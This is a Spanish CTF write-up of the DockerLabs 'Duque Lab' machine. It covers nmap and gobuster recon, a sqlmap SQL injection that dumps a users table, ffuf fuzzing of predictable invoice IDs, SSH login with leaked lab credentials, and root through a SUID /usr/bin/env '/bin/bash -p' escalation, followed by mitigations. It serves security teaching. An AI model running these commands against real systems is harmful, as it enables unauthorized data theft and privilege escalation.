Duque Lab
Estado: Completado
Fecha: 2026-10-02
Plataforma: DockerLabs
Dificultad: [Completar]
Alcance y objetivo
Objetivo autorizado:
172.17.0.2
Tipo de entorno: Máquina vulnerable / contenedor Linux
Sistema: Ubuntu 22.04
Objetivo de aprendizaje: Identificar servicios expuestos, explotar una vulnerabilidad de SQL Injection, recuperar credenciales desde una base de datos, obtener acceso inicial mediante SSH y escalar privilegios mediante un binario SUID.
El objetivo del laboratorio consistió en obtener acceso inicial a la máquina 172.17.0.2 y escalar privilegios hasta root.
La metodología seguida fue:
Reconocimiento
↓
Enumeración web
↓
Descubrimiento de aplicación
↓
SQL Injection
↓
Enumeración de bases de datos
↓
Extracción de credenciales
↓
Enumeración de identificadores de facturas
↓
Obtención de credenciales SSH
↓
Acceso inicial
↓
Enumeración local
↓
Identificación de SUID
↓
Abuso de /usr/bin/env
↓
Root
Resumen ejecutivo
El reconocimiento inicial identificó los puertos 22/tcp y 80/tcp, correspondientes a SSH y HTTP. La enumeración del servidor web permitió descubrir la aplicación de gestión de facturas ubicada en /bills/.
La aplicación presentó una vulnerabilidad de SQL Injection en el parámetro username. Mediante sqlmap fue posible enumerar la base de datos register, descubrir la tabla users y extraer credenciales válidas, incluyendo las correspondientes al usuario admin.
Tras autenticarse en el panel de facturación, se identificaron identificadores predecibles utilizados para consultar facturas. Mediante generación de valores y fuzzing con ffuf se encontró un identificador válido que permitió acceder a una factura con credenciales del usuario duque.
Estas credenciales permitieron obtener acceso mediante SSH. La enumeración local no mostró permisos sudo aprovechables, pero el análisis de archivos SUID reveló que /usr/bin/env tenía el bit SUID habilitado. Su abuso permitió ejecutar una shell conservando privilegios efectivos de root.
La cadena final fue:
SQL Injection
↓
Credenciales web
↓
Enumeración de facturas
↓
Credenciales duque
↓
SSH
↓
SUID env
↓
ROOT
Reconocimiento remoto
Se comenzó realizando un escaneo completo de puertos TCP:
sudo nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 172.17.0.2
El escaneo identificó dos puertos abiertos:
| Puerto | Servicio | Evidencia | Próximo paso |
|---|---|---|---|
22/tcp | SSH | OpenSSH | Revisar versión y posibles credenciales |
80/tcp | HTTP | Apache | Enumerar aplicación web |
Resultado resumido:
22/tcp open ssh
80/tcp open http
El TTL 64 observado en ambos servicios es compatible con un sistema Linux.
📸 Captura requerida — Nmap inicial
La captura debe mostrar claramente:
- La IP objetivo
172.17.0.2. - Los puertos
22/tcpy80/tcp. - El estado
open. - Los servicios detectados.
Insertar captura aquí.
[CAPTURA: Nmap -p-]
Enumeración de versiones
Se realizó una segunda enumeración utilizando detección de versiones y scripts por defecto:
sudo nmap -sC -sV -p22,80 172.17.0.2
Resultado:
| Puerto | Servicio | Versión | Información relevante |
|---|---|---|---|
22/tcp | SSH | OpenSSH 8.9p1 Ubuntu 3ubuntu0.15 | Servicio de acceso remoto |
80/tcp | HTTP | Apache 2.4.52 Ubuntu | Aplicación web |
El servidor web fue identificado como:
NaturGas Solutions - Dashboard Corporativo
El sistema operativo fue identificado como Linux/Ubuntu.
📸 Captura requerida — Detección de versiones
Mostrar la salida de nmap -sC -sV donde puedan identificarse:
- OpenSSH 8.9p1.
- Apache 2.4.52.
- Título
NaturGas Solutions - Dashboard Corporativo.
Insertar captura aquí.
[CAPTURA: Nmap -sC -sV]
Enumeración de servicios
HTTP — Puerto 80
Debido a que el puerto 80/tcp exponía una aplicación web, se realizó enumeración de directorios utilizando Gobuster:
gobuster dir -u http://172.17.0.2/ \
-w /usr/share/wordlists/dirb/common.txt \
-x php,html,txt,sh -t 50
Entre los resultados relevantes se encontraron:
| Recurso | Código | Observación |
|---|---|---|
/index.php | 200 | Página principal |
/intranet/ | 301 | Directorio accesible |
/server-status | 403 | Recurso restringido |
.htpasswd | 403 | Recurso existente pero restringido |
.htaccess | 403 | Recurso existente pero restringido |
Durante la exploración manual de la aplicación también se identificó el recurso:
/bills/
Este directorio correspondía a una aplicación de gestión de facturas.
📸 Captura requerida — Gobuster
La captura debe mostrar el resultado del fuzzing y, especialmente, los recursos encontrados como /intranet/ e index.php.
Insertar captura aquí.
[CAPTURA: Gobuster]
📸 Captura requerida — Aplicación web
Mostrar la página de NaturGas Solutions o la interfaz donde se haya identificado la aplicación de facturación.
Insertar captura aquí.
[CAPTURA: aplicación web / bills]
Enumeración de la aplicación de facturación
La aplicación de facturación se encontraba disponible en:
http://172.17.0.2/bills/
Se identificó un formulario de autenticación asociado a:
/bills/index.php
El formulario utilizaba parámetros POST:
username=
password=
La presencia de estos parámetros permitió realizar pruebas de inyección SQL dentro del laboratorio.
SQL Injection
Se utilizó sqlmap para analizar automáticamente el formulario:
sqlmap -u http://172.17.0.2/bills/index.php \
--forms --dbs --batch
sqlmap identificó una vulnerabilidad en el parámetro:
username
Se identificaron dos técnicas de inyección:
Type: time-based blind
Type: UNION query
El backend fue identificado como:
MySQL >= 5.0.12
MariaDB fork
La aplicación utilizaba:
Apache 2.4.52
Ubuntu 22.04
📸 Captura requerida — SQL Injection confirmada
Esta es una captura importante.
Debe mostrar:
- La ejecución de
sqlmap. - El formulario identificado.
- El parámetro vulnerable
username. - La confirmación de la inyección.
- El DBMS identificado como MySQL/MariaDB.
Insertar captura aquí.
[CAPTURA: SQL Injection con sqlmap]
Enumeración de bases de datos
Una vez confirmada la vulnerabilidad, sqlmap permitió enumerar las bases de datos:
sqlmap -u http://172.17.0.2/bills/index.php \
--forms --dbs --batch
Se identificaron:
information_schema
mysql
performance_schema
register
sys
La base de datos de mayor interés fue:
register
📸 Captura requerida — Bases de datos
La captura debe mostrar la salida de sqlmap donde aparezca:
[+] register
junto con las demás bases de datos descubiertas.
Insertar captura aquí.
[CAPTURA: enumeración de DBs]
Enumeración de la base de datos register
Se procedió a enumerar las tablas de la base de datos register:
sqlmap -u http://172.17.0.2/bills/index.php \
-D register \
--tables \
--forms \
--dbs \
--batch
El resultado mostró una única tabla:
Database: register
[1 table]
users
📸 Captura requerida — Tabla users
Mostrar la salida de sqlmap donde se observe:
Database: register
users
Insertar captura aquí.
[CAPTURA: register.users]
Extracción de credenciales
Una vez identificada la tabla users, se procedió a extraer su contenido:
sqlmap -u http://172.17.0.2/bills/index.php \
-D register \
-T users \
--dump \
--forms \
--dbs \
--batch
El resultado fue:
| ID | Usuario | Contraseña |
|---|---|---|
1 | mario | mario123 |
2 | jesus | jesus2026 |
3 | admin | admin123 |
Las credenciales correspondientes a admin permitieron acceder al panel de facturación.
📸 Captura requerida — Credenciales extraídas
Esta captura debe mostrar la tabla register.users obtenida mediante sqlmap.
Insertar captura aquí.
[CAPTURA: dump de register.users]
Hallazgo
La aplicación almacenaba las contraseñas de los usuarios de forma directamente recuperable mediante la SQL Injection.
Además, las credenciales presentaban contraseñas débiles y predecibles.
Acceso al panel de facturación
Se utilizaron las credenciales obtenidas:
Usuario: admin
Password: admin123
para autenticarse en la aplicación.
Una vez dentro del panel se identificaron dos subpáginas correspondientes a facturas:
/bills/panel.php?id=xya456
/bills/panel.php?id=xyu597
Se observó que ambas seguían el patrón:
xy + [4 caracteres]
Los identificadores presentaban una estructura parcialmente predecible.
📸 Captura requerida — Panel autenticado
La captura debe mostrar el acceso exitoso al panel como admin y las opciones de facturación disponibles.
Insertar captura aquí.
[CAPTURA: panel de facturación]
📸 Captura requerida — IDs de facturas
Mostrar la URL o interfaz donde puedan observarse los identificadores:
xya456
xyu597
Insertar captura aquí.
[CAPTURA: identificadores de facturas]
Enumeración de identificadores de facturas
Al observar los identificadores se detectó que comenzaban con:
xy
y que el resto correspondía a:
una letra + tres dígitos
Para generar posibles valores se utilizó crunch:
crunch 4 4 -t @%%%
El patrón utilizado generó combinaciones correspondientes a:
@ → letra
% → dígito
Por lo tanto, el espacio de búsqueda era:
1 letra + 3 dígitos
Se generaron las combinaciones y se enviaron directamente a ffuf.
Fuzzing de IDs mediante ffuf
Se utilizó el siguiente comando:
crunch 4 4 -t @%%% | \
ffuf -c \
-w - \
-b "PHPSESSID=lf8rt52j9m7bpk6k8acmhb5jnm" \
-u "http://172.17.0.2/bills/panel.php?id=xyFUZZ" \
--fw 2616,2715
El filtro --fw permitió descartar las respuestas conocidas y detectar aquellas con un comportamiento diferente.
El resultado relevante fue:
c724 [Status: 200, Size: 5994, Words: 2624, Lines: 224, Duration: 1ms]
Por lo tanto, se identificó el identificador:
xyc724
📸 Captura requerida — Fuzzing con Crunch + ffuf
Esta es una captura importante del proceso.
Debe mostrar:
- El patrón utilizado por
crunch. - La ejecución de
ffuf. - El endpoint
panel.php?id=xyFUZZ. - El resultado
c724. - El código
200.
Insertar captura aquí.
[CAPTURA: Crunch + ffuf]
Obtención de credenciales del usuario duque
Se accedió al identificador encontrado:
xyc724
La aplicación mostró una factura con información sensible:
Detalle de Factura
Usuario
duque
Password
duquelaje81029557!
Estas credenciales permitieron identificar un usuario válido del sistema operativo.
📸 Captura requerida — Factura con credenciales
Esta debería ser una de las capturas principales del reporte.
Mostrar la página de la factura donde se observen:
Usuario: duque
Password: duquelaje81029557!
Insertar captura aquí.
[CAPTURA: credenciales de duque]
Hallazgo
La aplicación permitía acceder a información de facturación mediante identificadores predecibles.
La falta de un control de autorización adecuado sobre estos recursos permitió acceder a una factura que contenía credenciales de otro usuario.
Esto representa una combinación de:
- Identificadores predecibles.
- Control de acceso insuficiente.
- Exposición de credenciales sensibles.
Acceso inicial mediante SSH
Las credenciales obtenidas se utilizaron contra el servicio SSH:
ssh duque@172.17.0.2
La autenticación fue exitosa.
Una vez dentro del sistema se verificó la identidad:
whoami
Resultado:
duque
📸 Captura requerida — Acceso SSH como duque
La captura debe mostrar:
- La conexión mediante SSH.
- El prompt del sistema.
whoami.- El resultado
duque.
Insertar captura aquí.
[CAPTURA: SSH duque]
Enumeración local de Linux
Una vez obtenido el acceso inicial, se procedió a enumerar el sistema.
Identidad
Se ejecutó:
whoami
id
hostname
Resultados:
duque
uid=1000(duque) gid=1000(duque) groups=1000(duque)
Hostname:
106978a49753
El usuario duque no pertenecía a grupos privilegiados.
📸 Captura requerida — Identidad local
Mostrar los resultados de:
whoami
id
hostname
Insertar captura aquí.
[CAPTURA: enumeración inicial]
Enumeración de privilegios sudo
Se comprobó la configuración de sudo:
sudo -l
El sistema solicitó la contraseña del usuario y no se pudo autenticar:
sudo: 3 incorrect password attempts
Por lo tanto, no se identificó un vector de escalada basado directamente en sudo.
📸 Captura requerida — sudo -l
Mostrar la ejecución de sudo -l y el resultado indicando que no fue posible utilizar sudo con las credenciales disponibles.
Insertar captura aquí.
[CAPTURA: sudo -l]
Enumeración de SUID
Al no disponer de un vector útil mediante sudo, se procedió a buscar archivos con el bit SUID:
find / -perm -4000 -ls 2>/dev/null
Entre los resultados se identificaron varios binarios SUID:
/usr/bin/umount
/usr/bin/chfn
/usr/bin/mount
/usr/bin/env
/usr/bin/gpasswd
/usr/bin/passwd
/usr/bin/su
/usr/bin/newgrp
/usr/bin/chsh
/usr/bin/sudo
El hallazgo relevante fue:
-rwsr-xr-x 1 root root ... /usr/bin/env
La s presente en los permisos del propietario indica que el bit SUID está habilitado.
En un binario SUID, el proceso puede ejecutarse con el UID efectivo del propietario del archivo. En este caso, el propietario de /usr/bin/env era root.
📸 Captura requerida — Enumeración SUID
Esta es una captura fundamental.
Debe mostrar la salida de:
find / -perm -4000 -ls 2>/dev/null
y específicamente la línea correspondiente a:
/usr/bin/env
donde se observe:
-rwsr-xr-x
Insertar captura aquí.
[CAPTURA: SUID env]
Escalada de privilegios
El binario /usr/bin/env tenía el bit SUID habilitado y pertenecía a root.
Se utilizó:
/usr/bin/env /bin/bash -p
La opción -p permite conservar los privilegios efectivos durante la ejecución de Bash.
La nueva shell permitió verificar los privilegios:
whoami
Resultado:
root
Posteriormente:
id
Resultado:
uid=1000(duque) gid=1000(duque) euid=0(root) groups=1000(duque)
La diferencia entre:
uid=1000(duque)
y:
euid=0(root)
demuestra que la shell mantenía el identificador efectivo de root.
📸 Captura requerida — Ejecución de env
La captura debe mostrar:
/usr/bin/env /bin/bash -p
seguido de:
whoami
con resultado:
root
Insertar captura aquí.
[CAPTURA: explotación de SUID env]
📸 Captura requerida — Confirmación de privilegios
Se recomienda una captura adicional mostrando:
id
con:
euid=0(root)
Insertar captura aquí.
[CAPTURA: euid=0]
Cadena de explotación
RECONOCIMIENTO
│
▼
Nmap 172.17.0.2
│
┌──────────┴──────────┐
▼ ▼
SSH :22 HTTP :80
│
▼
Gobuster / Web
│
▼
/bills/
│
▼
Formulario login
│
▼
SQL Injection
│
▼
sqlmap --dbs
│
▼
DB: register
│
▼
Table: users
│
▼
admin : admin123
│
▼
Acceso al panel
│
▼
IDs de facturas
xy[a-z][0-9]{3}
│
▼
Crunch + ffuf
│
▼
xyc724
│
▼
Factura expuesta
│
▼
duque : [credencial]
│
▼
SSH como duque
│
▼
sudo -l
│
▼
Sin vector útil
│
▼
Buscar SUID
│
▼
/usr/bin/env SUID
│
▼
/usr/bin/env /bin/bash -p
│
▼
ROOT
Evidencias y flags
- Flag de usuario:
[Completar si corresponde] - Flag de root:
[Completar si corresponde] - Usuario inicial:
duque - Privilegio final:
root - Vector de acceso inicial: Credenciales obtenidas mediante enumeración de facturas
- Vector de escalada: SUID sobre
/usr/bin/env
📸 Captura requerida — User Flag
Si el laboratorio dispone de una flag de usuario, insertar una captura donde se vea la ubicación y contenido de la flag.
Insertar captura aquí.
[CAPTURA: user flag]
📸 Captura requerida — Root Flag
Si existe una flag de root, insertar una captura obtenida después de la escalada.
Insertar captura aquí.
[CAPTURA: root flag]
Hallazgos de seguridad
| # | Hallazgo | Impacto |
|---|---|---|
| 1 | SQL Injection en el formulario de /bills/ | Acceso no autorizado a la base de datos |
| 2 | Base de datos register accesible mediante SQLi | Exposición de información |
| 3 | Credenciales almacenadas de forma recuperable | Compromiso de cuentas |
| 4 | Contraseñas débiles | Facilitan el acceso a cuentas |
| 5 | Identificadores de facturas predecibles | Facilitan la enumeración de recursos |
| 6 | Control de acceso insuficiente sobre facturas | Acceso a información de otros usuarios |
| 7 | Credenciales SSH expuestas en una factura | Acceso inicial al sistema |
| 8 | /usr/bin/env con SUID habilitado | Escalada de privilegios |
| 9 | Ejecución de Bash mediante binario SUID | Obtención de privilegios root |
Mitigación y aprendizajes
Mitigación
SQL Injection
La aplicación debería utilizar consultas parametrizadas o prepared statements para impedir que la entrada del usuario pueda modificar la estructura de las consultas SQL.
También deberían validarse y sanitizarse adecuadamente las entradas recibidas por la aplicación.
Gestión de credenciales
Las contraseñas no deberían almacenarse de forma recuperable en la base de datos.
Deberían utilizarse funciones de derivación de claves diseñadas para contraseñas, como Argon2id, bcrypt o scrypt, junto con políticas de contraseñas adecuadas.
Control de acceso a facturas
Los identificadores de las facturas no deberían utilizarse como único mecanismo de autorización.
El servidor debería verificar que el usuario autenticado posee autorización para consultar cada factura solicitada.
Además, se recomienda utilizar identificadores no predecibles cuando resulte apropiado.
Exposición de credenciales
Las facturas no deberían contener contraseñas de acceso a otros servicios.
Las credenciales deben almacenarse y gestionarse mediante mecanismos específicos de gestión de secretos y nunca exponerse directamente en documentos accesibles desde la aplicación.
SUID
Debe revisarse periódicamente el uso del bit SUID.
En particular, no debería mantenerse SUID sobre binarios que puedan utilizarse para ejecutar otros programas con privilegios elevados.
La configuración vulnerable:
-rwsr-xr-x root root ... /usr/bin/env
debería corregirse eliminando el bit SUID si no existe una necesidad legítima.
Aprendizajes
- Un escaneo inicial permitió identificar rápidamente la superficie de ataque.
- La enumeración de directorios permitió descubrir aplicaciones adicionales que no eran evidentes desde la página principal.
- Las aplicaciones de autenticación deben probarse cuidadosamente frente a SQL Injection.
- Una SQL Injection puede permitir pasar de una vulnerabilidad web a la extracción completa de una base de datos.
- La información obtenida de una base de datos puede utilizarse para continuar la cadena de ataque contra otros componentes.
- Los identificadores predecibles deben analizarse siempre desde el punto de vista del control de acceso.
- Un recurso accesible con un identificador válido no implica necesariamente que el usuario esté autorizado a consultarlo.
- Después de obtener acceso SSH,
sudo -les una comprobación inicial importante, pero no debe ser la única. - La enumeración de SUID puede revelar vectores de escalada que no dependen de
sudo. - Los binarios SUID capaces de ejecutar otros programas representan una superficie de escalada especialmente importante.
Conclusión
El laboratorio Duque Lab presenta una cadena de ataque que comienza en la aplicación web y termina con una escalada de privilegios local.
El reconocimiento identificó los servicios SSH y HTTP. La enumeración web permitió descubrir la aplicación de facturación /bills/, cuyo formulario de autenticación presentaba una vulnerabilidad de SQL Injection.
Mediante sqlmap fue posible enumerar las bases de datos y acceder a:
register.users
La tabla contenía varias cuentas y contraseñas, entre ellas:
admin : admin123
Estas credenciales permitieron acceder al panel de facturación.
Posteriormente se analizaron los identificadores de las facturas y se observó un patrón predecible. Mediante crunch y ffuf se identificó el valor:
xyc724
El recurso correspondiente expuso una factura que contenía credenciales del usuario:
duque
Estas credenciales permitieron obtener acceso mediante SSH.
Una vez dentro, sudo -l no proporcionó un vector de escalada aprovechable. Se continuó con la enumeración de archivos SUID:
find / -perm -4000 -ls 2>/dev/null
Entre los resultados se identificó:
/usr/bin/env
con el bit SUID habilitado y propietario root.
Finalmente, mediante:
/usr/bin/env /bin/bash -p
se obtuvo una shell cuyo UID efectivo era root:
uid=1000(duque) gid=1000(duque) euid=0(root)
La cadena completa quedó establecida como:
SQL Injection
↓
register.users
↓
admin : admin123
↓
Panel de facturación
↓
Enumeración de IDs
↓
xyc724
↓
Credenciales de duque
↓
SSH
↓
SUID /usr/bin/env
↓
root
El principal vector de escalada fue la configuración insegura del binario /usr/bin/env con el bit SUID habilitado.
Checklist de capturas
Para facilitar el armado final del artículo:
| # | Captura | Prioridad |
|---|---|---|
| 1 | Nmap inicial: 22, 80 | Alta |
| 2 | Nmap -sC -sV | Alta |
| 3 | Gobuster | Media |
| 4 | Aplicación /bills/ | Alta |
| 5 | SQL Injection confirmada | Muy alta |
| 6 | Bases de datos descubiertas | Alta |
| 7 | Tabla register.users | Muy alta |
| 8 | Credenciales admin | Muy alta |
| 9 | Panel de facturación | Alta |
| 10 | IDs xya456 / xyu597 | Media |
| 11 | Crunch + ffuf → c724 | Muy alta |
| 12 | Factura con credenciales de duque | Muy alta |
| 13 | SSH como duque | Alta |
| 14 | whoami, id, hostname | Media |
| 15 | sudo -l sin permisos útiles | Baja |
| 16 | Enumeración SUID → env | Muy alta |
| 17 | Ejecución de env /bin/bash -p | Muy alta |
| 18 | euid=0(root) | Muy alta |
| 19 | User flag | Alta |
| 20 | Root flag | Muy alta |
Las capturas 5 → 7 → 11 → 12 → 16 → 18 son las que mejor cuentan visualmente la historia del ataque y deberían tener mayor protagonismo dentro del artículo.